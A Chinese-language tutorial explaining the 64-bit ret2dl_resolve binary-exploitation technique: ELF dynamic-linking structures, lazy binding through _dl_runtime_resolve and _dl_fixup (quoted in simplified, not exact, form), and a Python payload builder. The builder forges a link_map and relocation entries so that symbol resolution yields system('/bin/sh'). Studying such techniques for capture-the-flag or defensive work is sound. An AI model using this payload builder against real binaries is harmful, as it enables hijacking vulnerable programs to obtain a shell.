深入解析64位下的ret2dl_resolve技术
介绍
本文将探讨在64位系统中利用ret2dl_resolve技术,该技术通过利用ELF文件格式和动态链接器的特性,实现对关键函数位置的识别和调用,而无需泄露内存信息。
原理简介
当一个动态链接的ELF文件首次调用外部函数时,它会调用_dl_runtime_resolve来解析函数的实际地址,并更新GOT表。ret2dl_resolve就是利用这一过程,伪造相关结构体,使得程序可以解析并执行恶意函数如execve或system。
前置知识
ELF文件中的动态链接部分
.dynamic段
包含多个Elf64_Dyn结构体,存储了动态链接器所需的基本信息。
typedef struct {
Elf64_Sxword d_tag; // 动态段标识号
union {
Elf64_Xword d_val; // 整数值
Elf64_Addr d_ptr; // 地址值
} d_un;
} Elf64_Dyn;
.rela.plt段
包含多个Elf64_Rela结构体,用于修正函数引用。
typedef struct {
Elf64_Addr r_offset; // 虚拟地址
Elf64_Xword r_info; // 复合值
Elf64_Sxword r_addend; // 常数加项
} Elf64_Rela;
.dynsym段
包含多个Elf64_Sym结构体,每个libc函数都有自己的Elf64_Sym结构体。
typedef struct {
Elf64_Word st_name; // 符号名偏移
unsigned char st_info; // 符号类型及绑定属性
unsigned char st_other; // 符号可见性
Elf64_Section st_shndx; // 节头表索引
Elf64_Addr st_value; // 符号值
Elf64_Xword st_size; // 符号大小
} Elf64_Sym;
延迟绑定与_dl_runtime_resolve
在第一次调用外部函数时,程序会跳转到该函数的GOT条目,如果尚未解析,则跳转到PLT条目,最终调用_dl_runtime_resolve进行符号解析和重定位。
.text
.globl _dl_runtime_resolve
_dl_runtime_resolve:
cfi_startproc
# 保存寄存器状态
pushq %rbx
mov %rsp, %rbx
sub $REGISTER_SAVE_AREA, %rsp
# 保存寄存器内容
movq %rax, REGISTER_SAVE_RAX(%rsp)
call _dl_fixup
# 恢复寄存器状态
add $(LOCAL_STORAGE_AREA + 16), %rsp
jmp *%r11
cfi_endproc
_link_map结构体
link_map结构体包含了共享对象的相关信息,如加载地址和动态段指针。
struct link_map {
ElfW(Addr) l_addr; // 加载地址差异
char *l_name; // 文件名
ElfW(Dyn) *l_ld; // 动态段指针
struct link_map *l_next, *l_prev; // 链接映射链表
};
_dl_fixup函数
_dl_fixup负责查找目标符号并返回其地址。
void *_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) {
const ElfW(Sym) *const symtab = (const void *) D_PTR(l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR(l, l_info[DT_STRTAB]);
const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_arg);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0) {
result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
value = DL_FIXUP_MAKE_VALUE(result, LOOKUP_VALUE_ADDRESS(result) + sym->st_value);
} else {
value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);
result = l;
}
return elf_machine_fixup_plt(l, result, reloc, rel_addr, value);
}
总结
- Dynamic段由Elf64_Dyn结构体构成。
- Dynsym段由Elf64_Sym结构体构成。
- .rela.plt段由Elf64_Rela结构体构成。
- _dl_runtime_resolve实际上执行了_dl_fixup。
实战应用
结合一个具体的例子,展示如何利用上述知识构造攻击载荷,触发_dl_runtime_resolve并执行期望的函数。
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
offset = system_base - solved_base
fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0) # d_tag
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) # d_ptr
fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(fake_link_map_addr - offset) # r_offset
fake_Elf64_Rela += p64(7) # r_info
fake_Elf64_Rela += p64(0) # r_addend
fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0) # st_name
fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx
fake_Elf64_Sym += p64(got_solved_addr - 8) # st_value
fake_Elf64_Sym += p64(0) # st_size
fake_link_map_data = b""
if offset < 0:
fake_link_map_data += p64(2 ** 64 + offset) # l_addr
else:
fake_link_map_data += p64(offset)
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00' * 0x20
fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB
fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x00' * 0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL
return fake_link_map_data
以上代码展示了如何伪造必要的结构体数据,并将其写入可控的内存区域,从而控制函数执行流。